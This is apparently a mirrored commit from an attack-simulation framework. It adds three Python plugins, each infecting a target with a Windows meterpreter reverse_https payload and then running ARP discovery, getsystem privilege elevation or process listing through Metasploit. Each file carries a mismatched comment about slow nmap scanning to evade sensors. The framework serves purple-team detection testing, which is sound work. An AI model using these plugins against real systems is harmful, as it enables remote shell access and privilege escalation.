mirror of https://github.com/avast/PurpleDome
Added stand alone metasploit attacks
parent
1e8ad1331b
commit
1cb76d8cf9
@ -0,0 +1,43 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
# A plugin to nmap targets slow motion, to evade sensors
|
||||
|
||||
from plugins.base.attack import AttackPlugin
|
||||
from app.metasploit import MetasploitInstant
|
||||
|
||||
|
||||
class MetasploitArpPlugin(AttackPlugin):
|
||||
|
||||
# Boilerplate
|
||||
name = "metasploit_arp"
|
||||
description = "Network discovery via metasploit using arp"
|
||||
ttp = "T1016"
|
||||
references = ["https://attack.mitre.org/techniques/T1016/"]
|
||||
|
||||
required_files = [] # Files shipped with the plugin which are needed by the kali tool. Will be copied to the kali share
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.plugin_path = __file__
|
||||
|
||||
def run(self, targets):
|
||||
""" Run the command
|
||||
|
||||
@param targets: A list of targets, ip addresses will do
|
||||
"""
|
||||
|
||||
res = ""
|
||||
payload_type = "windows/x64/meterpreter/reverse_https"
|
||||
payload_name = "babymetal.exe"
|
||||
target = self.targets[0]
|
||||
|
||||
metasploit = MetasploitInstant(self.metasploit_password,
|
||||
attack_logger=self.attack_logger,
|
||||
attacker=self.attacker_machine_plugin,
|
||||
username=self.metasploit_user)
|
||||
|
||||
metasploit.smart_infect(target, payload_type, payload_name, )
|
||||
|
||||
metasploit.arp_network_discovery(target)
|
||||
|
||||
return res
|
@ -0,0 +1,43 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
# A plugin to nmap targets slow motion, to evade sensors
|
||||
|
||||
from plugins.base.attack import AttackPlugin
|
||||
from app.metasploit import MetasploitInstant
|
||||
|
||||
|
||||
class MetasploitGetsystemPlugin(AttackPlugin):
|
||||
|
||||
# Boilerplate
|
||||
name = "metasploit_getsystem"
|
||||
description = "Privilege elevation via metasploit getsystem"
|
||||
ttp = "????"
|
||||
references = ["https://docs.rapid7.com/metasploit/meterpreter-getsystem/"]
|
||||
|
||||
required_files = [] # Files shipped with the plugin which are needed by the kali tool. Will be copied to the kali share
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.plugin_path = __file__
|
||||
|
||||
def run(self, targets):
|
||||
""" Run the command
|
||||
|
||||
@param targets: A list of targets, ip addresses will do
|
||||
"""
|
||||
|
||||
res = ""
|
||||
payload_type = "windows/x64/meterpreter/reverse_https"
|
||||
payload_name = "babymetal.exe"
|
||||
target = self.targets[0]
|
||||
|
||||
metasploit = MetasploitInstant(self.metasploit_password,
|
||||
attack_logger=self.attack_logger,
|
||||
attacker=self.attacker_machine_plugin,
|
||||
username=self.metasploit_user)
|
||||
|
||||
metasploit.smart_infect(target, payload_type, payload_name, )
|
||||
|
||||
metasploit.getsystem(target)
|
||||
|
||||
return res
|
@ -0,0 +1,43 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
# A plugin to nmap targets slow motion, to evade sensors
|
||||
|
||||
from plugins.base.attack import AttackPlugin
|
||||
from app.metasploit import MetasploitInstant
|
||||
|
||||
|
||||
class MetasploitPsPlugin(AttackPlugin):
|
||||
|
||||
# Boilerplate
|
||||
name = "metasploit_ps"
|
||||
description = "Process discovery via metasploit"
|
||||
ttp = "T1057"
|
||||
references = ["https://attack.mitre.org/techniques/T1057/"]
|
||||
|
||||
required_files = [] # Files shipped with the plugin which are needed by the kali tool. Will be copied to the kali share
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.plugin_path = __file__
|
||||
|
||||
def run(self, targets):
|
||||
""" Run the command
|
||||
|
||||
@param targets: A list of targets, ip addresses will do
|
||||
"""
|
||||
|
||||
res = ""
|
||||
payload_type = "windows/x64/meterpreter/reverse_https"
|
||||
payload_name = "babymetal.exe"
|
||||
target = self.targets[0]
|
||||
|
||||
metasploit = MetasploitInstant(self.metasploit_password,
|
||||
attack_logger=self.attack_logger,
|
||||
attacker=self.attacker_machine_plugin,
|
||||
username=self.metasploit_user)
|
||||
|
||||
metasploit.smart_infect(target, payload_type, payload_name, )
|
||||
|
||||
metasploit.ps_process_discovery(target)
|
||||
|
||||
return res
|
Loading…
Reference in New Issue